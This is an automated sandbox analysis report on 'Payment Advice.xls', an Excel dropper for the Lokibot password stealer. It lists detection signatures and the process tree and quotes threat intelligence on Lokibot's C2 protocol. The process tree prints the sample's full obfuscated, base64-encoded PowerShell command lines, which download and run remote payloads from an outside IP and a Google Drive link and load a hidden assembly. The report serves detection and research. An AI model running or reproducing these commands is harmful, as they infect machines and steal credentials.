Edit tour

Windows Analysis Report
Payment Advice.xls

Overview

General Information

Sample name:	Payment Advice.xls
Analysis ID:	1542326
MD5:	e7b0128fdc780e228be72adbed8765c4
SHA1:	4a7456b2d6422c33f8f7aafa302cd43c8d2d5033
SHA256:	c03299410145508191967d0544203e1aed4fc9886b7b11d6d4f05500d002a786
Tags:	xlsuser-abuse_ch
Infos:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Lokibot

Yara detected Powershell download and execute

Bypasses PowerShell execution policy

Document exploit detected (process start blacklist hit)

Excel sheet contains many unusual embedded objects

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for sample

Microsoft Office drops suspicious files

Obfuscated command line found

PowerShell case anomaly found

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: File With Uncommon Extension Created By An Office Application

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Searches the installation path of Mozilla Firefox

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Excel Network Connections

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 3560 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

mshta.exe (PID: 3832 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)

powershell.exe (PID: 3924 cmdline: "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 4036 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt MD5: A575A7610E5F003CC36DF39E07C4BA7D)

csc.exe (PID: 3136 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)

cvtres.exe (PID: 3152 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES19C8.tmp" "c:\Users\user\AppData\Local\Temp\f2dj0ncr\CSC6208178C473A4F0793DCFE56B934F534.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

wscript.exe (PID: 2036 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS" MD5: 045451FA238A75305CC26AC982472367)

powershell.exe (PID: 3000 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 1372 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) |. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

aspnet_regbrowsers.exe (PID: 3248 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe" MD5: 04AA198D72229AEED129DC20201BF030)

mshta.exe (PID: 3336 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)

powershell.exe (PID: 2276 cmdline: "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 3368 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt MD5: A575A7610E5F003CC36DF39E07C4BA7D)

csc.exe (PID: 1520 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)

cvtres.exe (PID: 4004 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6651.tmp" "c:\Users\user\AppData\Local\Temp\al22exsj\CSC903F5E3F8DB7424CB84D15F933E11EB7.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

wscript.exe (PID: 3732 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS" MD5: 045451FA238A75305CC26AC982472367)

powershell.exe (PID: 4032 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 252 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) |. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Loki Password Stealer (PWS), LokiBot	"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2	SWEED The Gorgon Group Cobalt	http://blog.reversing.xyz/reversing/2021/06/08/lokibot.html http://reversing.fun/posts/2021/06/08/lokibot.html http://reversing.fun/reversing/2021/06/08/lokibot.html http://www.malware-traffic-analysis.net/2017/06/12/index.html https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file	https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 1372	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
